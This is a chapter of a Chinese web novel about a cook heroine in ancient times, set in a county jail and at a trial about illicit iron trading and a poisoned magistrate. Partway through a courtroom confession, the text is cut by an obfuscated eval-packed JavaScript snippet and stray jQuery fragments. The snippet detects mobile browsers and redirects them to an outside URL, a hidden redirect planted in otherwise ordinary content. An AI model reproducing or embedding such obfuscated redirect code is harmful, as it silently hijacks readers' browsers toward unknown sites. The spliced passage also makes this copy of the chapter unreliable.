41. 对簿公堂

作品:《我在古代做漂亮饭

    桃源县衙牢房位于地下,需要从一个狭小的走道进入。里面黑漆漆的,霉味很重。


    墙壁上昏暗地分布着几盏蜡烛,隐约能看见分隔紧凑的单人牢房。


    提审流程还没走完,何路年没有立刻将沈昭昭和沈三七放出来,却也网开一面,只将他们安置在相对干净的牢房内。


    “吱吱——吱——”


    牢房角落里老鼠的声音将沈昭昭吓得一激灵,被遗忘的恐惧从骨头缝里暗暗渗出来。


    她素来惧怕这些这些有灰色皮毛的生物,因为它们的出现往往伴随着潮湿、阴冷的环境。


    沈昭昭双手攀上布满铜锈的柱子,她轻声呼唤着不远处的沈三七,“喂,三七,听得到我讲话吗?”


    银白的月光照在沈三七脸上,他正斜靠在墙上,一半的侧脸陷入阴影中。


    他听到沈昭昭的呼唤微微偏头,轻声答道:“嗯。”


    沈昭昭压低声音嘱咐:“三七,明日要提审案件相关的人。若不是你的罪,你千万别认。”


    窦景成突然的死亡给了她很大的震撼。县令的性命上头的人都毫不在乎,若不是蔡斌上任,她和沈三七此行恐怕都是凶多吉少。


    沈三七还未回答,牢房深处传来一声低哑的苦笑。


    沈昭昭感觉那声音有点熟悉,她将脸紧紧压在冰冷的栏杆上,尽力向声音传来的地方看去。


    她试探开口:“魏聪?是你吗?”


    “是。”一个沉重而疲惫的声音从黑暗中传来。


    这县衙牢房太小,竟将他们几个人关在了一处。


    确认是魏聪,沈昭昭压不住心底的好奇,又往前凑了凑,轻声问道:“窦景成当真是你杀的?”


    她暗自思忖,魏聪是个有手艺的厨子,凭着一身厨艺本该在哪都能安身立命,怎么会在受了些屈辱后,就做出这般极端的事来,实在让人想不通。


    “我说不是,有人信吗?”魏聪的语气有点自暴自弃,他在公堂上,几乎已经默认了自己的罪。


    沈三七敏锐发觉了魏聪的言下之意,问道:“今日不是就你在县衙公厨,难不成还有别人?”


    “还有我师傅,天香阁主——卓祎。”魏聪的表情崇拜又怨恨,以至于他整张脸的五官扭曲地拧在一处。


    沈昭昭心中一惊:“不是你?为何不说?”


    “师傅她来去无踪。无凭无据的,我说了,谁会信?”魏聪喃喃道:“都怪我,还以为师傅是来帮我的。没想到我只是她眼中借刀杀人的那把刀而已……”


    牢中的其他囚犯此时也都在暗处也窃窃私语起来,像阴沟里叽喳的老鼠。他们大多认定魏聪是被陷害,刚刚那绝望不甘的语气实在难以作假。


    只是这些囚犯自身尚且难保,说不定身上也背着一桩冤假错案。他们本就是砧板上的鱼肉,连自己的命运都无法掌控。


    就算他们心里信魏聪清白,又能改变什么?


    “都出师了,你为何还要忠心于她?”沈昭昭十分费解,“像我一样,出来做点小生意不好吗?”


    “你不懂!”魏聪的语气忽然变得愤慨,“所有厨师一辈子的梦想,不就是进天香阁内门吗?我从前在外门被刷了下来,只能先在外历练,就盼着日后能有进内门的机会!”


    接着,他又绝望起来:“师傅这次就是用内门名额诱惑我,我才昏了头选择信任她。若是现在把真相说破,得罪了她,我这辈子都别想再回天香阁了。反正……我当厨师的生涯,今日算是到头了!”


    沈昭昭觉得这人说话十分可笑:““这个天香阁要搞垄断?难道除了天香阁出来的师傅,别的人都称不上厨师?”


    魏聪沉默半晌:“至少在京都,是这样。天香阁就是公认的天花板。每个对自己厨艺有追求的师傅,都把进内门当成终极目标。”


    “荒唐!”沈昭昭努力将自己的身体探出去更多,拔高声音道:“那都是别人制定的规则和标准,与你的厨艺一毛钱关系都没有!我既不是天香阁内门弟子,也不是外门弟子,但我做出的东西,可不比别人差!”


    闻言,魏聪的浑身颤了一下。半晌,他缓缓起身,不再面对着监牢那堵漆黑的墙壁。


    他也学着沈昭昭的样子,将脸靠在栏杆上,颤声道:“今日除了我,只有我师傅卓祎来过县衙公厨。那碗槐叶冷淘是我做的,但不是我下的毒。”


    “师傅告诉我,挨过这几天变好,我……我也没想到她要窦景成死!”说罢,魏聪的声音已带上了哭腔。


    “那你明日便将真相如实说出来,莫要再想轻生。相信我,死了你就再也没法洗刷冤屈了。”


    沈三七冷冷的声音传来,他极少如此严肃。


    魏聪心头一颤,刚才他确实有轻生的念头!


    师傅来这事儿只有他知道。可他手上也没有任何证据,在公堂上要从何说起?当时师傅要他咬死窦景成,他已经隐隐有了不好的预感,可他还是那么做了……他不敢说自己是完全无辜的,毕竟牵扯了一条人命!


    可是沈昭昭和沈三七这两个外人竟然无条件信任他!他心中又萌生出一点求生的希望,至少等到明天的提审,说不定事情会有转机。


    他终是鼓起勇气。


    “谢谢……明日我会照实说。”


    得了魏聪这句承诺,沈三七和沈昭昭才放下心来。


    魏聪的师傅让沈昭昭浮想联翩,她躺在牢房的石板床上,不自觉忘记了牢房里窸窣磨牙的老鼠。


    次日清早。


    “威武——”衙役们的威和声中,第二次堂审开始。


    海水朝日图下,端坐的人已经换成了蔡斌。


    何路年还是照旧坐在他旁边,协助审查这位新上任的县令审问他的第一个要案。


    马策文还担任着师爷的工作,在旁记录。可丁越今日却不在。


    马策文仍在一旁担任师爷之职,手持毛笔记录着堂中情形。


    只是他眼角余光扫过周遭,却始终没见到丁越的身影——往日里,丁越总会在一旁协助,今日却缺席了。


    “这小子,竟是脚下抹油溜了!”马策文笔尖一顿,在心底暗自咒骂。他与丁越二人,这些年在县衙里确实做了不少见不得光的勾当。


    丁越江湖人脉广,估计他眼看在县衙混不下去,就马上另攀高枝去了。


    可他马策文不一样。若是之前的事被追查下来,丁越跑了,难道要他一个人扛下所有罪责?


    思及此处,他握着笔的手不自觉颤抖起来。


    “传证人——”


    接着,一群人便鱼贯而入,刘余、杜三儿神色拘谨,他们正是昨日与贩卖私铁案有所关联的人。


    人群中,王二却与众不同。他甩着身上的锦袍,大摇大摆地踏上公堂,半点没有旁人的局促。


    县衙他早已轻车熟路,他姑父可是县令,来县衙不和回家一样?


    当他抬头看向公堂之上坐着的人时,他终于收起了吊儿郎当的姿态,一整个人僵在了原地。


    “蔡斌?你怎么会在这里?”王二眼睛瞪得溜圆,语气里满是错愕。他先前的嚣张气焰瞬间散了大半,只觉得这县衙竟无比陌生,“我姑父呢?!他在哪儿?!”


    听到王二的质问,公堂上瞬间安静下来,周遭一圈目光齐刷刷地落在他身上。


    昨日窦景成身死的消息,县衙特意封锁了,并未外传,而王二与刘余,正是这起贩卖私铁案中最直接的关联人。


    “本县行事,还需向你交代?”蔡斌神色冷峻,随即厉声发问,“王二,你与窦景成勾结,贩卖私铁,扰乱民生,你可知罪?”


    王二闻言,吓得腿一软,“噗通”一声跪倒在地,连连叩拜,声音都发颤了,“小人不知啊!这都是姑父交代的事情,我只是跟着从中赚点利钱罢了!若是知道这贩的是私铁,借小人十个胆子,也万万不敢做啊!”


    “你与刘氏铁匠铺交易往来多少两?”


    “二百两。”王二脱口而出。


    “这个数对吗?”蔡斌转向刘余。


    刘余回道:“不错。”


    蔡斌微微点头,此数与账本对得上。


    “剩余的银钱用在了哪里?”何路年继续追问。


    “十里八乡的铁匠铺啊,”王二着急立功,一股脑都说了出来,“每个村我姑父都派了不同的人去对接的。只不过我在平安村,他图方便才找上的我!


    他又急急补充,“平日里那些违法的事儿我从没参与过!”


    “嗯。”蔡斌微微颔首,千两白银的铁器出货量巨大,分散在不同的铁匠铺也合情合理,他又问,“杜三儿,你怎么说?”


    带着眼罩的杜三儿混不吝道:“能怎么看?我是生意人,收了货挨家挨户要债而已。欠债还钱还违法了?”


    蔡斌瞪眼,一拍惊堂木:“你这批是黑货!照理是要充公的!”


    杜三儿却并没被吓住,只无所谓道:“这批是赵公子的货,要扣便扣吧。若是赵公子怪罪下来,也不关我杜三儿的事儿。”


    蔡斌知道赵晋安是纳税大户,他暂时拿杜三儿没办法,只得接着问:“这个尚早先生是何人,你们有谁见过?”


    堂下几人俱是摇头。


    沈昭昭暗道,今日找来的怕都是一群小喽啰,只负责执行,挖不出什么有效信息。


    何路年急切道:“你们再想想,交易还有谁参与了?”


    “如果她是第一手买家,我可能见过……”杜三儿回忆道,又将那日和赵晋安交易的女人的样子描述了一遍。


    “师傅!”一旁压着的魏聪惊呼,“这买家是我师傅卓祎,那匹马正是她的坐骑——鸿运!”


    “你师傅是天香阁阁主?”蔡斌惊讶看向魏聪,忍不住问:“她跑到桃源县这个小地方做什么?”


    魏聪看向沈昭昭和沈三七,他俩递给魏聪一个坚定的眼神。魏聪鼓起勇气,咬牙说道:“这两日师傅都曾出入过县衙公厨,槐叶冷淘里的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012580|190886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    砒霜也是她放的,毒死窦景成的不是我!”


    窦景成死了?!堂上的众人如遭雷劈,半天没反应过来。那个手段了得的窦景成,就这么无声无息的死了?


    王二的反应最激烈,他一下子躺在公堂地上开始撒泼,口中不住说道:“我短命的姑父来,你刚走这群人就要往死里欺负我……”


    “肃静!”蔡斌的惊堂木快要拍烂了,“可还有其他人见过这个卓祎?”


    何路年补充道:“再说说她的样子。”


    从魏聪和何路年七嘴八舌的描述里,众人大概拼凑出了卓祎的样貌:中等个头,身材精干。单眼皮,常常骑着匹红马,有时候会带白纱面罩……


    “等等!”沈昭昭忽然道,她脑中顿时出现了这人的面容,“前两日,我也见过卓祎,就在我的面摊!”


    在面谈和青年聊天的女子,竟然是卓祎?怪不得一口就吃出了她家肉酱面的深浅!


    卓祎还真在桃源县!蔡斌心下一惊,如今有三人能证明卓祎的行踪,而且她与贩卖私铁这事儿有千丝万缕的联系。


    她不是天香阁阁主吗,开店如此赚钱,怎么还来做这种违法的事情?


    众说纷纭之际,在一旁沉默的沈三七忽然发话了:“诸位,先听我一言。‘尚早’不就是卓字吗?”


    “尚早和卓有什么关系?”众人面面相觑,摸不出门道。


    探花蔡斌此时却第一个反应过来,这不是谐音拆字吗?上和早合并为卓,尚又取上之谐音。


    “尚早先生是卓祎的化名!”蔡斌脱口而出。


    “正是。”沈三七目光幽微。


    “想不到,这事儿还是牵扯到京都了。”姜白芷和锦娘也不住摇头,卓祎虽明面上是个生意人,可做的都是达官贵人的生意。是谁的白手套还真不好说。


    她们只知道能使唤动卓祎的人,绝不是什么无名小卒!


    何路年结束了关于私铁案的讨论:“卓祎是京都人士,贩卖私铁一案先到此结束。此案牵涉复杂,等我上奏皇上再议。”


    “依何大人所言,”蔡斌颔首,随即目光扫向一旁的马策文,“马策文,你作为窦景成的师爷,速速坦白他的错处,算你戴罪立功!”


    “回、回禀大人!”马策文闻言,像是抓住了救命稻草,连忙躬身应答,“平日里小的都只负责案牍记录,并未参与窦景成的龌龊勾当!”


    说着,他从桌案上翻出一整摞早已准备好的暗账本,又掏出一个沉甸甸的布包。


    “大人您看!这都是窦景成暗中从各村敛取的钱财,还有对应的账本,小的一直偷偷留存着!”马策文将东西呈上,又飞快地补充,“另外,他还曾与京都的官员有书信往来,只是那些书信他看过之后便都烧毁了,小的没能留存……”


    为了彻底撇清自己,马策文像是豁出去一般又道:“还有平安村的土地庙!那把火就是窦景成和丁越放的,都是他俩干的好事!”


    他越说越激动,索性将所有罪责都一股脑推到了窦景成和丁越头上——一个是已死之人,一个是亡命逃犯,死无对证,自然任他编排。


    他必须要把自己摘干净!


    沈昭昭听得心头一紧,她迅速和沈三七对视一眼,土地庙的那把火原来是窦景成放的!


    听完马策文的供词,蔡斌了然道:“各村的账本,官府会再逐一核查。你马策文协助窦景成作恶,本就脱不开干系;王二勾结窦景成贩卖私铁,罪责明晰。来人啊,先将王二、马策文压下去,择日量刑!”


    话音刚落,旁边的衙役拿起铁链将二人锁住。


    王二万念俱灰,离了他姑父,他哪有反抗的余地?马策文心中叫苦不迭,早知道他和丁越一样,直接跑了!都怪他心存侥幸,还以为自己这个师爷还当得下去。没想到留下来,只是自投罗网。


    “魏聪证据不足,暂不立案。与其他人一起,随时配合传唤。”


    魏聪整个人顿时垮了下来,他终于不必苦苦硬撑,连忙伏地磕头,“谢大人明察!”


    何路年满意道:“蔡大人判得好!贩卖私铁案证据清晰,窦景成为主谋,他之死并案归京都处置。诸位还有异议吗?”


    见无人有异议,蔡斌满意地看向沈昭昭,柔声说道:“昭昭,你的店铺和农家乐的营业权,我一并给你批了。还有酒牌,我给你最高代理权,酒溪寨各个年份的酒你都能卖,整个桃源县只你一家。”


    沈昭昭闻言惊喜道:“谢蔡县令!”


    她暗道:有人脉可真爽啊,办个证件都是顺手的事儿~


    “沈三七,你也无罪释放。窦景成那封不明不白的文书,本县可不认。”


    “谢大人。”沈三七一拱手,站到了沈昭昭身边。


    蔡斌笑眯眯道:“本县还有一个请求,沈姑娘可能答应我?”


    “大人请说,民女尽力而为。”


    “我想将你的桃源煎饼和农家乐作为桃源县的招牌特色宣传,你可愿意?”